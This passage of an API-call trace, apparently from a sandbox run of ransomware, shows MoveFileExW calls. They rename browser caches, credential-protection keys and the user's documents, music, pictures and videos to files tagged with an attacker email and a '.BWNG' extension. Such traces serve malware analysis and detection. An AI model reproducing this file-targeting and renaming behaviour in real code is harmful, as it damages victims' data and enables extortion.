halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\[billwong73@yahoo.com].khxmsp3i-j2vujjgf.bwng"), dwFlags=0x1) returned 1 [0135.571] GetTickCount () returned 0x116952e [0135.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27752364812) returned 1 [0135.572] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\startupCache.4.little" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\startupcache.4.little"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\startupCache\\[billwong73@yahoo.com].jxhLaH8f-Y6ovulXk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\startupcache\\[billwong73@yahoo.com].jxhlah8f-y6ovulxk.bwng"), dwFlags=0x1) returned 1 [0135.586] GetTickCount () returned 0x116953e [0135.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27753862329) returned 1 [0135.587] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1daf2884ec4dfa96ba4a58d4dbc9c406"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].B3x3t1nG-0jBwIIea.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].b3x3t1ng-0jbwiiea.bwng"), dwFlags=0x1) returned 1 [0135.589] GetTickCount () returned 0x116953e [0135.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27754081006) returned 1 [0135.589] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\696f3de637e6de85b458996d49d759ad"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].S8OuUOeO-gGHO1E17.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].s8ouuoeo-ggho1e17.bwng"), dwFlags=0x1) returned 1 [0135.590] GetTickCount () returned 0x116953e [0135.590] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27754240111) returned 1 [0135.590] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_50167909fcfe0c66153f1901439cbba1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].OC3AzK3t-ENNYgn3y.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].oc3azk3t-ennygn3y.bwng"), dwFlags=0x1) returned 1 [0135.592] GetTickCount () returned 0x116953e [0135.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27754400856) returned 1 [0135.592] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_c6ef73e4482b2588b1252d1a64b99416"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].xNberNxt-cVkHOkoF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].xnbernxt-cvkhokof.bwng"), dwFlags=0x1) returned 1 [0135.593] GetTickCount () returned 0x116953e [0135.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27754560490) returned 1 [0135.594] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_b89a63ac6877bd1ed812438ce82c3eb8"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].3heYMsgU-dvZtQGBW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].3heymsgu-dvztqgbw.bwng"), dwFlags=0x1) returned 1 [0135.595] GetTickCount () returned 0x116953e [0135.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27754704891) returned 1 [0135.595] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f293aead5e84facfb686c4a620718928_c8424a0b24a72939b13720d0c000c9c1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].SlnJLaY1-SbBB5g1d.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].slnjlay1-sbbb5g1d.bwng"), dwFlags=0x1) returned 1 [0135.596] GetTickCount () returned 0x116954e [0135.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27754847961) returned 1 [0135.597] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4c8f841fb02dec8c10108028db86a08d_8dafffd2d43bdc7a1717f5b61c303398"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].Rn2rIqeq-4S4FMPGH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].rn2riqeq-4s4fmpgh.bwng"), dwFlags=0x1) returned 1 [0135.679] GetTickCount () returned 0x116959c [0135.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27763135340) returned 1 [0135.680] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b8944ba8ad0efdf0e01a43ef62becd0_b2db1cc4b5f2d2a802d56aaed525802d"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].LPglplLb-kDYcwlKE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].lpglpllb-kdycwlke.bwng"), dwFlags=0x1) returned 1 [0135.682] GetTickCount () returned 0x116959c [0135.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27763388295) returned 1 [0135.682] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_e907d7a04657714b5b06d18bc920971e"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].INr4eebE-9nsfBJd9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].inr4eebe-9nsfbjd9.bwng"), dwFlags=0x1) returned 1 [0135.683] GetTickCount () returned 0x116959c [0135.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27763551241) returned 1 [0135.684] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9c888beabccbc2a97b0d6d9214c3ba37_1213dc6f71e4c3b05e7bceebc203a31e"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].tBuX2lHB-HJWULitz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].tbux2lhb-hjwulitz.bwng"), dwFlags=0x1) returned 1 [0135.685] GetTickCount () returned 0x116959c [0135.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27763701298) returned 1 [0135.685] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_d9b9f37ece595b0b7b6aa12451d392cf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].rc851fhK-KPaz7lL5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].rc851fhk-kpaz7ll5.bwng"), dwFlags=0x1) returned 1 [0135.686] GetTickCount () returned 0x116959c [0135.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27763861775) returned 1 [0135.687] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\[billwong73@yahoo.com].A4mIeT2J-CWKDFy4t.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\[billwong73@yahoo.com].a4miet2j-cwkdfy4t.bwng"), dwFlags=0x1) returned 1 [0135.696] GetTickCount () returned 0x11695ab [0135.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27764814645) returned 1 [0135.696] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\48b76449f3d5fefa1133aa805e420f0fca643651.crl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\[billwong73@yahoo.com].oAhkcCgB-dWyn5W3v.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\[billwong73@yahoo.com].oahkccgb-dwyn5w3v.bwng"), dwFlags=0x1) returned 1 [0135.698] GetTickCount () returned 0x11695ab [0135.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27765006263) returned 1 [0135.698] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\K9qWFRECwl.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\k9qwfrecwl.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].JXvruNOZ-zmbfvGW2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].jxvrunoz-zmbfvgw2.bwng"), dwFlags=0x1) returned 1 [0135.699] GetTickCount () returned 0x11695ab [0135.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27765168179) returned 1 [0135.700] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].ATHedUDf-KbQyyJ98.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].athedudf-kbqyyj98.bwng"), dwFlags=0x1) returned 1 [0135.701] GetTickCount () returned 0x11695ab [0135.701] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27765354680) returned 1 [0135.702] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\[billwong73@yahoo.com].9QjUF680-WpvKg9fO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\[billwong73@yahoo.com].9qjuf680-wpvkg9fo.bwng"), dwFlags=0x1) returned 1 [0135.703] GetTickCount () returned 0x11695ab [0135.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27765520959) returned 1 [0135.703] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\times.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].vqaakQT4-AYlYqsoo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].vqaakqt4-aylyqsoo.bwng"), dwFlags=0x1) returned 1 [0135.705] GetTickCount () returned 0x11695bb [0135.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27765729816) returned 1 [0135.705] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\VY-mhInyjCk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\vy-mhinyjck.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].N5C3uAQk-nQKhyDx9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].n5c3uaqk-nqkhydx9.bwng"), dwFlags=0x1) returned 1 [0135.707] GetTickCount () returned 0x11695bb [0135.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27765889343) returned 1 [0135.707] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0 JjGaCgrH_T.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0 jjgacgrh_t.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].xFtCzk2m-fVG5rbG0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].xftczk2m-fvg5rbg0.bwng"), dwFlags=0x1) returned 1 [0135.708] GetTickCount () returned 0x11695bb [0135.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27766055855) returned 1 [0135.709] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KR6VSvFV.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kr6vsvfv.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].XSyPq2lK-70bxZ9K6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].xsypq2lk-70bxz9k6.bwng"), dwFlags=0x1) returned 1 [0135.710] GetTickCount () returned 0x11695bb [0135.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27766218829) returned 1 [0135.710] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\[billwong73@yahoo.com].8jIrnAcg-ZG4Ua89a.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\[billwong73@yahoo.com].8jirnacg-zg4ua89a.bwng"), dwFlags=0x1) returned 1 [0135.711] GetTickCount () returned 0x11695bb [0135.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27766348498) returned 1 [0135.712] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\[billwong73@yahoo.com].nU1rmsfn-ga5pIHAy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\[billwong73@yahoo.com].nu1rmsfn-ga5pihay.bwng"), dwFlags=0x1) returned 1 [0135.713] GetTickCount () returned 0x11695bb [0135.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27766492352) returned 1 [0135.713] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\[billwong73@yahoo.com].XRiStuDF-Voeh0qul.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\[billwong73@yahoo.com].xristudf-voeh0qul.bwng"), dwFlags=0x1) returned 1 [0135.714] GetTickCount () returned 0x11695bb [0135.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27766642661) returned 1 [0135.714] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\70qDsBMmk6y3F.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\70qdsbmmk6y3f.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].UeSFFdvX-zqJ4xxuU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].uesffdvx-zqj4xxuu.bwng"), dwFlags=0x1) returned 1 [0135.715] GetTickCount () returned 0x11695bb [0135.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27766774572) returned 1 [0135.716] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HzsLfJxI48lkkFu STE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hzslfjxi48lkkfu ste.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].ot9z7rVU-vKXQVaRH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].ot9z7rvu-vkxqvarh.bwng"), dwFlags=0x1) returned 1 [0135.717] GetTickCount () returned 0x11695bb [0135.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27766923721) returned 1 [0135.717] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\s4eCy3_es-Oe23CK5qkK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\s4ecy3_es-oe23ck5qkk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].gYyoarVD-azV75nK5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].gyyoarvd-azv75nk5.bwng"), dwFlags=0x1) returned 1 [0135.718] GetTickCount () returned 0x11695bb [0135.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27767058740) returned 1 [0135.719] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yX3evIB 3tVCHlgBnQqe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yx3evib 3tvchlgbnqqe.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].FhtkeEcT-RRlTcDSf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].fhtkeect-rrltcdsf.bwng"), dwFlags=0x1) returned 1 [0135.720] GetTickCount () returned 0x11695bb [0135.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27767186919) returned 1 [0135.720] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\k5H4P_BE5HwfY.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\k5h4p_be5hwfy.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].1ofcrIWl-x1M0dKAY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].1ofcriwl-x1m0dkay.bwng"), dwFlags=0x1) returned 1 [0135.764] GetTickCount () returned 0x11695ea [0135.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27771582157) returned 1 [0135.764] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\R0BZE4yMt.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\r0bze4ymt.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].9xXstxy6-YCDDe1G4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].9xxstxy6-ycdde1g4.bwng"), dwFlags=0x1) returned 1 [0135.765] GetTickCount () returned 0x11695ea [0135.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27771764245) returned 1 [0135.766] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bVK pp.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bvk pp.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].Jy9P7Ax2-JLcM0tsf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].jy9p7ax2-jlcm0tsf.bwng"), dwFlags=0x1) returned 1 [0135.767] GetTickCount () returned 0x11695ea [0135.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27771909056) returned 1 [0135.768] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\5R04nq_yjh-ytM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\5r04nq_yjh-ytm.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].dwZaW2Vh-W1OguOq0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].dwzaw2vh-w1oguoq0.bwng"), dwFlags=0x1) returned 1 [0135.773] GetTickCount () returned 0x11695f9 